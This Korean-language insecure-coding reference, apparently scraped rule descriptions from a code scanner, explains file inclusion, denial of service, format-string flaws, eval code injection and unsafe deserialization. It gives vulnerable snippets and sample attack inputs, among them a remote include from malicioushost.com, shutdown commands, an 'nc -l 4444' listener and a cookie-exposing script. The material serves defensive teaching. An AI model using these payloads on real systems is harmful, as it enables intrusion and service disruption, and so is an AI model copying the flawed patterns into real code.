...
ClientScript.RegisterClientScriptInclude("RequestParameterScript", HttpContext.Current.Request.Params["includedURL"]);
...
Example 1
에서 공격자는 프로그램이 외부 사이트의 파일을 포함하도록 만드는 includedURL
에 대한 악성 값을 제공하여 동적 include 문을 완전히 제어할 수 있습니다.web.config
와 같은 일반 텍스트 파일의 경우, 파일은 HTML 출력의 일부로 렌더링될 수 있습니다. 심지어 공격자가 자신이 제어하는 원격 사이트의 경로를 지정할 수 있는 경우에는 동적 include 문이 공격자가 제공한 임의의 악성 코드를 실행하게 됩니다.
...
<jsp:include page="<%= (String)request.getParameter(\"template\")%>">
...
specialpage.jsp?template=/WEB-INF/database/passwordDB
/WEB-INF/database/passwordDB
파일의 내용을 JSP 페이지에 렌더링하여 시스템 보안을 손상시킵니다.c:import
태그를 사용하여 사용자 지정된 원격 파일을 현재 JSP 페이지로 가져옵니다.
...
<c:import url="<%= request.getParameter("privacy")%>">
...
policy.jsp?privacy=http://www.malicioushost.com/attackdata.js
register_globals
옵션과 함께 제공됩니다. 이는 공격자가 내부 서버 변수를 쉽게 덮어쓸 수 있습니다. register_globals
를 비활성화하면 file inclusion 취약점에 대한 프로그램의 노출을 제한할 수 있지만 이러한 문제는 요즘의 PHP 응용 프로그램에서도 발생합니다. $server_root
가 정의된 응용 프로그램에 있는 파일을 포함합니다.
...
<?php include($server_root . '/myapp_header.php'); ?$gt;
...
register_globals
가 on
으로 설정되어 있으면 공격자는 $server_root
를 요청 매개 변수로 제공하여 동적 include 문을 부분적으로 제어함으로써 $server_root
값을 덮어쓸 수 있습니다.
...
<?php include($_GET['headername']); ?$gt;
...
Example 2
에서 공격자는 프로그램이 외부 사이트의 파일을 포함하도록 만드는 headername
에 대한 악성 값을 제공하여 동적 include 문을 완전히 제어할 수 있습니다./etc/shadow
와 같은 일반 텍스트 파일의 경우, 파일은 HTML 출력의 일부로 렌더링될 수 있습니다. 심지어 공격자가 자신이 제어하는 원격 사이트의 경로를 지정할 수 있는 경우에는 동적 include 문이 공격자가 제공한 임의의 악성 코드를 실행하게 됩니다.
...
CALL FUNCTION 'ENQUE_SLEEP'
EXPORTING
SECONDS = usrInput.
...
GetTokenBucketLimiter()
메서드는 RateLimitPartition을 생성할 때 원격 IP 주소(RemoteIpAddress
)를 파티션 키로 사용합니다.
...
builder.Services.AddRateLimiter(limiterOptions => {
limiterOptions.GlobalLimiter = PartitionedRateLimiter.Create<HttpContext, IPAddress>(context => {
IPAddress? ip = context.Connection.RemoteIpAddress;
return RateLimitPartition.GetTokenBucketLimiter(ip!, _ =>
new TokenBucketRateLimiterOptions
{
TokenLimit = 7
});
});
});
...
unsigned int usrSleepTime = uatoi(usrInput);
sleep(usrSleepTime);
Sleep(url.duration);
Future
함수가 실행되는 기간을 지정할 수 있습니다. 함수 실행 기간을 길게 지정하면 공격자가 Future
함수 실행을 무기한 중지시킬 수 있습니다.
final duration = Platform.environment['DURATION'];
Future.delayed(Duration(seconds: int.parse(duration!)), () => ...);
func test(r *http.Request) {
...
i, _ := strconv.Atoi(r.FormValue("TIME"))
runtime.KeepAlive(i)
...
}
예제 2: 다음 코드는 zip 파일에서 문자열을 읽습니다. 이 코드에서는
int usrSleepTime = Integer.parseInt(usrInput);
Thread.sleep(usrSleepTime);
readLine()
메서드를 사용하기 때문에 범위 지정 없는 입력 양을 읽습니다. 공격자가 OutOfMemoryException
을 발생시키거나 대량의 메모리를 소모하도록 이 코드를 이용할 수 있으므로 프로그램이 가비지 수집(garbage collection)을 수행하는 데 더 많은 시간을 소모하거나 이후의 일부 작업 중에 메모리가 부족해집니다.
InputStream zipInput = zipFile.getInputStream(zipEntry);
Reader zipReader = new InputStreamReader(zipInput);
BufferedReader br = new BufferedReader(zipReader);
String line = br.readLine();
예제 2: 다음 코드는 파일에 작성합니다. 사용자 에이전트에 의해 닫힌 것으로 간주될 때까지 파일은 계속 작성 및 다시 작성될 수 있기 때문에 파일 내용 분석이 필요할 수도 있는 디스크 할당량, IO 대역폭 및 프로세스가 영향을 받습니다.
var fsync = requestFileSystemSync(0, userInput);
function oninit(fs) {
fs.root.getFile('applog.txt', {create: false}, function(fileEntry) {
fileEntry.createWriter(function(fileWriter) {
fileWriter.seek(fileWriter.length);
var bb = new BlobBuilder();
bb.append('Appending to a file');
fileWriter.write(bb.getBlob('text/plain'));
}, errorHandler);
}, errorHandler);
}
window.requestFileSystem(window.TEMPORARY, 1024*1024, oninit, errorHandler);
procedure go_sleep (
usrSleepTime in NUMBER)
is
dbms_lock.sleep(usrSleepTime);
connect
기능에 대한 연결 시간 초과 기간을 지정할 수 있습니다. 함수 실행 기간을 길게 지정하면 공격자가 connect
함수 실행을 무기한 중지시킬 수 있습니다.
...
insecure_config_ssl_connection_timeout = {
'user': username,
'password': retrievedPassword,
'host': databaseHost,
'port': "3306",
'connection_timeout': connection_timeout
}
mysql.connector.connect(**insecure_config_ssl_connection_timeout)
...
예제 2: 다음 코드는 파일에서 문자열을 읽습니다. 이 코드에서는 제한을 지정하지 않고
Kernel.sleep(user_input)
readline()
메서드를 사용하기 때문에 범위 지정 없는 양의 입력을 읽습니다. 공격자는 이 코드를 활용하여 프로세스가 응답하지 않으면서 점점 더 많은 메모리를 소모하도록 할 수 있으며, 이러한 공격은 메모리를 완전히 소진할 때까지 계속될 수 있습니다.
fd = File.new(myFile)
line = fd.readline
Formatter.format()
에 대한 형식 문자열 인수를 지정할 수 있도록 합니다.
...
Formatter formatter = new Formatter(Locale.US);
String format = "The customer: %s %s has the balance %4$." + userInput + "f";
formatter.format(format, firstName, lastName, accountNo, balance);
...
java.util.MissingFormatArgumentException
등의 예외가 발생할 수 있으며, 이 예외는 try 블록 내에 있지 않으므로 응용 프로그램 실패로 이어질 수 있습니다. accountNo
가 포함됩니다.java.lang.Double.parseDouble()
및 [2^(-1022) - 2^(-1075) : 2^(-1022) - 2^(-1076)]
범위에 있는 임의의 수를 구문 분석할 때 스레드가 응답하지 않도록 만들 수 있는 관련된 메서드의 구현에 취약점이 있습니다. 이 결함은 DoS(Denial of Service) 공격을 실행하는 데 사용될 수 있습니다.
Double d = Double.parseDouble(request.getParameter("d"));
d
가 해당 범위의 값(예: "0.0222507385850720119e-00306"
)인 경우, 공격자가 요청을 보내 요청을 처리하는 동안 프로그램이 응답하지 않도록 만들 수 있습니다.
(e+)+
([a-zA-Z]+)*
(e|ee)+
(e+)+
([a-zA-Z]+)*
(e|ee)+
(e+)+
([a-zA-Z]+)*
(e|ee)+
(e+)+
([a-zA-Z]+)*
(e|ee)+
(e+)+
([a-zA-Z]+)*
(e|ee)+
(e+)+
([a-zA-Z]+)*
(e|ee)+
(e+)+
([a-zA-Z]+)*
(e|ee)+
(e+)+
([a-zA-Z]+)*
(e|ee)+
NSString *regex = @"^(e+)+$";
NSPredicate *pred = [NSPRedicate predicateWithFormat:@"SELF MATCHES %@", regex];
if ([pred evaluateWithObject:mystring]) {
//do something
}
(e+)+
([a-zA-Z]+)*
(e|ee)+
(e+)+
([a-zA-Z]+)*
(e|ee)+
(e+)+
([a-zA-Z]+)*
(e+)+
([a-zA-Z]+)*
(e|ee)+
(e+)+
([a-zA-Z]+)*
(e|ee)+
let regex : String = "^(e+)+$"
let pred : NSPredicate = NSPRedicate(format:"SELF MATCHES \(regex)")
if (pred.evaluateWithObject(mystring)) {
//do something
}
Example 1
을 고려해 볼 때, 공격자가 일치 문자열 “eeeeZ”를 제공할 경우, regex 파서가 일치를 식별하기 위해 살펴보아야 할 16가지 내부 평가가 있습니다. 공격자가 일치 문자열로 16개의 “e”(“eeeeeeeeeeeeeeeeZ”)를 제공할 경우, regex 파서는 65,536(2^16)개의 평가를 살펴보아야 합니다. 공격자는 연속 일치 문자의 수를 늘려 컴퓨팅 리소스를 쉽게 소모시킬 수 있습니다. 이 취약점의 영향을 받지 않는 정규식 구현은 알려져 있지 않습니다. 모든 플랫폼 및 언어가 이 공격에 취약합니다.
Marker child = MarkerManager.getMarker("child");
Marker parent = MarkerManager.getMarker("parent");
child.addParents(MarkerManager.getMarker(userInput));
parent.addParents(MarkerManager.getMarker(userInput2));
String toInfinity = child.toString();
child
및 parent
의 상위 마커를 사용자 정의 마커로 설정할 수 있습니다. 사용자가 child
의 상위를 parent
로, parent
의 상위를 child
로 입력하면 마커 데이터 구조에 순환 링크가 생성됩니다. 순환 링크가 포함된 데이터 구조에서 재귀적 toString
메서드를 실행하면 프로그램에서 스택 오버플로 예외가 발생하고 프로그램이 중단됩니다. 이로 인해 스택 고갈을 통한 서비스 거부가 발생합니다.StringBuilder
또는 StringBuffer
인스턴스에 신뢰할 수 없는 데이터를 추가하면 JVM이 힙 메모리 공간을 과소비하게 될 수 있습니다.StringBuilder
또는 StringBuffer
인스턴스에 사용자 제어 데이터를 추가하면 응용 프로그램이 사용자의 데이터에 맞게 기본 배열의 크기를 조정하는 동안 대량의 힙 메모리를 소비하게 될 수 있습니다. 데이터가 StringBuilder
또는 StringBuffer
인스턴스에 추가되면 인스턴스는 백업 문자 배열에 데이터를 저장할 충분한 여유 공간이 있는지를 확인합니다. 데이터가 맞지 않는 경우 StringBuilder
또는 StringBuffer
인스턴스는 이전 배열 크기의 두 배 이상의 크기로 새 배열을 생성하지만 가비지가 수집되기 전까지 힙에 이전 배열이 남아 있습니다. 공격자는 이 구현 세부 정보를 사용하여 Denial of Service (DoS) 공격을 실행할 수 있습니다.StringBuilder
인스턴스에 사용자 제어 데이터가 추가됩니다.
...
StringBuilder sb = new StringBuilder();
final String lineSeparator = System.lineSeparator();
String[] labels = request.getParameterValues("label");
for (String label : labels) {
sb.append(label).append(lineSeparator);
}
...
StringBuilder
또는 StringBuffer
인스턴스에 신뢰할 수 없는 데이터를 추가하면 JVM이 힙 메모리 공간을 과소비하게 될 수 있습니다.StringBuilder
또는 StringBuffer
인스턴스에 사용자 제어 데이터를 추가하면 응용 프로그램이 사용자의 데이터에 맞게 기본 배열의 크기를 조정하는 동안 대량의 힙 메모리를 소비하게 될 수 있습니다. 데이터가 StringBuilder
또는 StringBuffer
인스턴스에 추가되면 인스턴스는 백업 문자 배열에 데이터를 저장할 충분한 여유 공간이 있는지를 확인합니다. 데이터가 맞지 않는 경우 StringBuilder
또는 StringBuffer
인스턴스는 이전 배열 크기의 두 배 이상의 크기로 새 배열을 생성하지만 가비지가 수집되기 전까지 힙에 이전 배열이 남아 있습니다. 공격자는 이 구현 세부 정보를 사용하여 Denial of Service (DoS) 공격을 실행할 수 있습니다.StringBuilder
인스턴스에 사용자 제어 데이터가 추가됩니다.
...
val sb = StringBuilder()
val labels = request.getParameterValues("label")
for (label in labels) {
sb.appendln(label)
}
...
...
user_ops = request->get_form_field( 'operation' ).
CONCATENATE: 'PROGRAM zsample.| FORM calculation. |' INTO code_string,
calculator_code_begin user_ops calculator_code_end INTO code_string,
'ENDFORM.|' INTO code_string.
SPLIT code_string AT '|' INTO TABLE code_table.
GENERATE SUBROUTINE POOL code_table NAME calc_prog.
PERFORM calculation IN PROGRAM calc_prog.
...
operation
매개 변수가 양의 값일 때 바르게 작동합니다. 그러나 공격자가 올바르면서도 악의적인 언어 작업을 지정하면 해당 작업이 상위 프로세스의 전체 권한으로 실행됩니다. 이러한 공격은 삽입된 코드가 시스템 리소스에 액세스하거나 시스템 명령을 실행하도록 하는 경우에 더욱 위험합니다. 예를 들어 공격자가 "MOVE 'shutdown -h now' to cmd. CALL 'SYSTEM' ID 'COMMAND' FIELD cmd ID 'TAB' FIELD TABL[]."을 operation
의 값으로 지정하는 경우에는 호스트 시스템에서 종료 명령이 실행됩니다.
...
var params:Object = LoaderInfo(this.root.loaderInfo).parameters;
var userOps:String = String(params["operation"]);
result = ExternalInterface.call("eval", userOps);
...
operation
매개 변수가 양의 값일 때 프로그램이 올바르게 동작합니다. 이 경우 result
변수에 22 값이 할당됩니다. 그러나 공격자가 유효하고도 악의적인 언어 작업을 지정하면 해당 작업이 상위 프로세스의 전체 권한으로 실행됩니다. 이러한 공격은 기본 언어가 시스템 리소스에 대한 접근을 제공하거나 시스템 명령 실행을 허용할 때 더 위험합니다. ActionScript의 경우, 공격자는 이 취약점을 이용하여 cross-site scripting 공격을 수행할 수 있습니다.
...
public static object CEval(string sCSCode)
{
CodeDomProvider icc = CodeDomProvider.CreateProvider("CSharp");
CompilerParameters cparam = new CompilerParameters();
cparam.ReferencedAssemblies.Add("system.dll");
cparam.CompilerOptions = "/t:library";
cparam.GenerateInMemory = true;
StringBuilder sb_code = new StringBuilder("");
sb_code.Append("using System;\n");
sb_code.Append("namespace Fortify_CodeEval{ \n");
sb_code.Append("public class FortifyCodeEval{ \n");
sb_code.Append("public object EvalCode(){\n");
sb_code.Append(sCSCode + "\n");
sb_code.Append("} \n");
sb_code.Append("} \n");
sb_code.Append("}\n");
CompilerResults cr = icc.CompileAssemblyFromSource(cparam, sb_code.ToString());
if (cr.Errors.Count > 0)
{
logger.WriteLine("ERROR: " + cr.Errors[0].ErrorText);
return null;
}
System.Reflection.Assembly a = cr.CompiledAssembly;
object o = a.CreateInstance("Fortify_CodeEval.FortifyCodeEval");
Type t = o.GetType();
MethodInfo mi = t.GetMethod("EvalCode");
object s = mi.Invoke(o, null);
return s;
}
...
sCSCode
매개 변수가 "return 8 + 7 * 2"와 같은 양의 값일 때 프로그램이 올바르게 동작합니다. 이 경우 22가 함수 CEval
의 반환 값입니다. 그러나 공격자가 올바르면서도 악의적인 언어 작업을 지정하면 해당 작업이 상위 프로세스의 전체 권한으로 실행됩니다. 이러한 공격은 기본 언어가 시스템 리소스에 대한 액세스를 제공하거나 시스템 명령 실행을 허용할 때 더 위험합니다. 예를 들어, .Net은 Windows API의 호출을 허용합니다. 공격자가 " return System.Diagnostics.Process.Start(\"shutdown\", \"/s /t 0\");"를 operation
의 값으로 지정하는 경우에는 호스트 시스템에서 종료 명령이 실행됩니다.
...
ScriptEngineManager scriptEngineManager = new ScriptEngineManager();
ScriptEngine scriptEngine = scriptEngineManager.getEngineByExtension("js");
userOps = request.getParameter("operation");
Object result = scriptEngine.eval(userOps);
...
operation
매개 변수가 양의 값일 때 프로그램이 올바르게 동작합니다. 이 경우 result
변수에 22의 값이 할당됩니다. 그러나, 공격자가 올바르고 악의적인 언어 작업을 지정하면 해당 작업이 상위 프로세스의 전체 권한으로 실행됩니다. 이러한 공격은 기본 언어가 시스템 리소스에 대한 접근을 제공하거나 시스템 명령 실행을 허용할 때 더 위험합니다. 예를 들어, JavaScript는 Java 개체의 호출을 허용합니다. 공격자가 " java.lang.Runtime.getRuntime().exec("shutdown -h now")"를 operation
값으로 지정하는 경우 호스트 시스템에서 종료 명령이 실행됩니다.
...
userOp = form.operation.value;
calcResult = eval(userOp);
...
operation
매개 변수가 양의 값일 때 프로그램이 올바르게 동작합니다. 이 경우 calcResult
변수에 22의 값이 할당됩니다. 그러나, 공격자가 올바르고 악의적인 언어 작업을 지정하면 해당 작업이 상위 프로세스의 전체 권한으로 실행됩니다. 이러한 공격은 기본 언어가 시스템 리소스에 대한 접근을 제공하거나 시스템 명령 실행을 허용할 때 더 위험합니다. JavaScript의 경우, 공격자는 이 취약점을 이용하여 cross-site scripting 공격을 수행할 수 있습니다.
...
@property (strong, nonatomic) WKWebView *webView;
@property (strong, nonatomic) UITextField *inputTextField;
...
[_webView evaluateJavaScript:[NSString stringWithFormat:@"document.body.style.backgroundColor="%@";", _inputTextField.text] completionHandler:nil];
...
webView
내의 <body>
요소는 파란색 배경으로 형식이 지정됩니다. 하지만 공격자가 여전히 유효한 악의적인 입력을 제공하는 경우 임의의 JavaScript 코드를 실행할 수 있습니다. 예를 들어 JavaScript는 쿠키 같은 특정 유형의 개인 정보에 접근할 수 있기 때문에 공격자가 UITextField에 대한 입력으로 "white";document.body.innerHTML=document.cookie;""를 지정한다면 쿠키 정보가 페이지에 표시됩니다. 이러한 공격은 기본 언어를 통해 시스템 리소스에 접근할 수 있거나 시스템 명령을 실행할 수 있는 경우에 훨씬 더 위험해집니다. 이러한 상황에서는 주입된 코드가 상위 프로세스의 전체 권한으로 실행되기 때문입니다.
...
$userOps = $_GET['operation'];
$result = eval($userOps);
...
operation
매개 변수가 "8 + 7 * 2"와 같은 양의 값일 때 프로그램이 올바르게 동작합니다. 이 경우 result
변수에 22 값이 할당됩니다. 그러나 공격자가 올바르면서도 악의적인 작업을 지정하면 해당 작업이 상위 프로세스의 전체 권한으로 실행됩니다. 이러한 공격은 기본 언어가 시스템 리소스에 대한 액세스를 제공하거나 시스템 명령 실행을 허용할 때 더 위험합니다. 예를 들어 공격자가 "exec('shutdown -h now')"를 operation
의 값으로 지정하는 경우, 호스트 시스템에서 종료 명령이 실행됩니다.
...
userOps = request.GET['operation']
result = eval(userOps)
...
operation
매개 변수가 "8 + 7 * 2"와 같은 양의 값일 때 프로그램이 올바르게 동작합니다. 이 경우 result
변수에 22 값이 할당됩니다. 그러나 공격자가 올바르면서도 악의적인 작업을 지정하면 해당 작업이 상위 프로세스의 전체 권한으로 실행됩니다. 이러한 공격은 기본 언어가 시스템 리소스에 대한 액세스를 제공하거나 시스템 명령 실행을 허용할 때 더 위험합니다. 예를 들어 공격자가 "os.system('shutdown -h now')"를 operation
의 값으로 지정하는 경우, 호스트 시스템에서 종료 명령이 실행됩니다.
...
user_ops = req['operation']
result = eval(user_ops)
...
operation
매개 변수가 양의 값일 때 프로그램이 올바르게 동작합니다. 이 경우 result
변수에 22의 값이 할당됩니다. 그러나, 공격자가 올바르고 악의적인 언어 작업을 지정하면 해당 작업이 상위 프로세스의 전체 권한으로 실행됩니다. 이러한 공격은 기본 언어가 시스템 리소스에 대한 접근을 제공하거나 시스템 명령 실행을 허용할 때 더 위험합니다. Ruby에서는 이를 허용하며 세미콜론(;
)으로 줄을 구분하여 여러 명령을 실행할 수 있기 때문에 프로그램 손상 없이 단순한 삽입으로 많은 명령의 실행이 가능해집니다.operation
매개변수에 "system(\"nc -l 4444 &\");8+7*2"를 제출하면 컴퓨터에서 연결을 수신 대기할 포트 4444가 열리며 result
에 값 22가 반환됩니다.
...
var webView : WKWebView
var inputTextField : UITextField
...
webView.evaluateJavaScript("document.body.style.backgroundColor="\(inputTextField.text)";" completionHandler:nil)
...
webView
내의 <body>
요소는 파란색 배경으로 형식이 지정됩니다. 하지만 공격자가 여전히 유효한 악의적인 입력을 제공하는 경우 임의의 JavaScript 코드를 실행할 수 있습니다. 예를 들어 JavaScript는 쿠키 같은 특정 유형의 개인 정보에 접근할 수 있기 때문에 공격자가 UITextField에 대한 입력으로 "white";document.body.innerHTML=document.cookie;""를 지정한다면 쿠키 정보가 페이지에 표시됩니다. 이러한 공격은 기본 언어를 통해 시스템 리소스에 접근할 수 있거나 시스템 명령을 실행할 수 있는 경우에 훨씬 더 위험해집니다. 이러한 상황에서는 주입된 코드가 상위 프로세스의 전체 권한으로 실행되기 때문입니다.
...
strUserOp = Request.Form('operation')
strResult = Eval(strUserOp)
...
operation
매개 변수가 "8 + 7 * 2"인 예제에서 일어납니다. strResult
변수는 22의 값을 반환합니다. 그러나 사용자가 다른 유효한 언어 작업을 지정한 경우, 해당 작업은 실행될 뿐 아니라 상위 프로세스의 전체 권한으로 실행됩니다. 임의의 코드 실행은 기본 언어가 시스템 리소스에 대한 액세스를 제공하거나 시스템 명령 실행을 허용할 때 더 위험합니다. 예를 들어 공격자가 operation
을 "Shell('C:\WINDOWS\SYSTEM32\TSSHUTDN.EXE 0 /DELAY:0 /POWERDOWN')"로 지정하는 경우 호스트 시스템에서 종료 명령이 실행됩니다.
...
ScriptEngineManager scriptEngineManager = new ScriptEngineManager();
ScriptEngine scriptEngine = scriptEngineManager.getEngineByExtension("js");
ScriptContext newContext = new SimpleScriptContext();
Bindings engineScope = newContext.getBindings(request.getParameter("userName"));
userOps = request.getParameter("operation");
Object result = scriptEngine.eval(userOps,newContext);
...
page_scope
매개 변수가 예상된 사용자 이름인 경우에 바르게 작동합니다. 그러나 공격자가 GLOBAL_SCOPE
의 값을 지정할 경우, 이 작업은 동일한 ScriptEngine
에 의해 생성된 모든 엔진 내의 모든 속성에 접근할 수 있게 됩니다.
...
String address = request.getParameter("address");
Properties props = new Properties();
props.put(Provider_URL, "rmi://secure-server:1099/");
InitialContext ctx = new InitialContext(props);
ctx.lookup(address);
...
string name = Request["username"];
string template = "Hello @Model.Name! Welcome " + name + "!";
string result = Razor.Parse(template, new { Name = "World" });
...
operation
매개 변수가 무해한 값일 때 프로그램이 올바르게 동작합니다. 이 경우 result
변수에 "Hello World! Welcome John!"의 값이 할당됩니다. 그러나, 공격자가 올바르면서도 악의적인 언어 작업을 지정하면 해당 작업이 상위 프로세스의 전체 권한으로 실행됩니다. 이러한 공격은 기본 언어가 시스템 리소스에 대한 접근을 제공하거나 시스템 명령 실행을 허용할 때 더 위험합니다. 예를 들어, Razor는 C# 개체의 호출을 허용합니다. 공격자가 " @{ System.Diagnostics.Process proc = new System.Diagnostics.Process(); proc.EnableRaisingEvents=false; proc.StartInfo.FileName=\"calc\"; proc.Start(); }"를 name
의 값으로 지정하는 경우, 호스트 시스템에서 시스템 명령이 실행됩니다.
...
ScriptEngineManager scriptEngineManager = new ScriptEngineManager();
ScriptEngine scriptEngine = scriptEngineManager.getEngineByExtension("js");
userOps = request.getParameter("operation");
Object result = scriptEngine.eval(userOps);
...
operation
매개 변수가 양의 값일 때 프로그램이 올바르게 동작합니다. 이 경우 result
변수에 22의 값이 할당됩니다. 그러나, 공격자가 올바르고 악의적인 언어 작업을 지정하면 해당 작업이 상위 프로세스의 전체 권한으로 실행됩니다. 이러한 공격은 기본 언어가 시스템 리소스에 대한 접근을 제공하거나 시스템 명령 실행을 허용할 때 더 위험합니다. 예를 들어, JavaScript는 Java 개체의 호출을 허용합니다. 공격자가 " java.lang.Runtime.getRuntime().exec("shutdown -h now")"를 operation
값으로 지정하는 경우 호스트 시스템에서 종료 명령이 실행됩니다.
...
userOp = form.operation.value;
calcResult = eval(userOp);
...
operation
매개 변수가 "8 + 7 * 2"와 같은 양의 값일 때 프로그램이 올바르게 동작합니다. 이 경우 calcResult
변수에 22 값이 할당됩니다. 그러나 공격자가 올바르면서도 악의적인 언어 작업을 지정하면 해당 작업이 상위 프로세스의 전체 권한으로 실행됩니다. 이러한 공격은 기본 언어가 시스템 리소스에 대한 액세스를 제공하거나 시스템 명령 실행을 허용할 때 더 위험합니다. JavaScript의 경우, 공격자는 이 취약점을 이용하여 cross-site scripting 공격을 수행할 수 있습니다.
...
strUserOp = Request.Form('operation')
strResult = Eval(strUserOp)
...
operation
매개 변수가 "8 + 7 * 2"인 예제에서 일어납니다. strResult
변수는 22의 값을 반환합니다. 그러나 사용자가 다른 유효한 언어 작업을 지정한 경우, 해당 작업은 실행될 뿐 아니라 상위 프로세스의 전체 권한으로 실행됩니다. 임의의 코드 실행은 기본 언어가 시스템 리소스에 대한 액세스를 제공하거나 시스템 명령 실행을 허용할 때 더 위험합니다. 예를 들어 공격자가 operation
을 "Shell('C:\WINDOWS\SYSTEM32\TSSHUTDN.EXE 0 /DELAY:0 /POWERDOWN')"로 지정하는 경우 호스트 시스템에서 종료 명령이 실행됩니다.BeanUtilsHashMapper
를 사용하여 공격자가 해당 해시로 임의 코드를 실행하도록 제어할 수 있는 Redis Hash를 역직렬화합니다.
HashMapper<Person, String, String> hashMapper = new BeanUtilsHashMapper<Person>(Person.class);
Person p = hashMapper.fromHash(untrusted_map);
Stream
개체를 입력으로 가져오고 다시 .NET 개체로 역직렬화합니다. 그런 다음 문자열 개체 목록으로 캐스트한 후 결과를 반환합니다.
...
List <string> Deserialize(Stream input)
{
var bf = new BinaryFormatter();
var result = (List <string>)bf.Deserialize(input);
return result;
}
...
Example 1
은 다음과 같이 다시 작성할 수 있습니다.
...
List <string> Deserialize(Stream input)
{
var bf = new BinaryFormatter();
object tmp = bf.Deserialize(input);
List <string> result = (List <string>)tmp;
return result;
}
...
Example 2
에서 역직렬화 작업은 유형이 List <string>
인지 여부에 상관없이 입력 스트림이 올바르기만 하면 성공합니다.bin
폴더 또는 GAC
에 있어야 하는 serializable 클래스에서 정의되며, 이는 공격자가 삽입할 수 없기 때문에 이러한 공격의 활용 가능성은 응용 프로그램 환경에서 사용할 수 있는 클래스에 따라 다릅니다. 유감스럽게도 일반적인 타사 클래스 또는 .NET 클래스도 시스템 리소스를 소모하거나, 파일을 삭제하거나, 악의적인 파일을 배포하거나, 임의의 코드를 실행하는 데 남용될 수 있습니다.XStream
인스턴스를 보여줍니다.
XStream xstream = new XStream();
String body = IOUtils.toString(request.getInputStream(), "UTF-8");
Contact expl = (Contact) xstream.fromXML(body);
var yamlString = getYAMLFromUser();
// Setup the input
var input = new StringReader(yamlString);
// Load the stream
var yaml = new YamlStream();
yaml.Load(input);
var yaml = require('js-yaml');
var untrusted_yaml = getYAMLFromUser();
yaml.load(untrusted_yaml)
import yaml
yamlString = getYamlFromUser()
yaml.load(yamlString)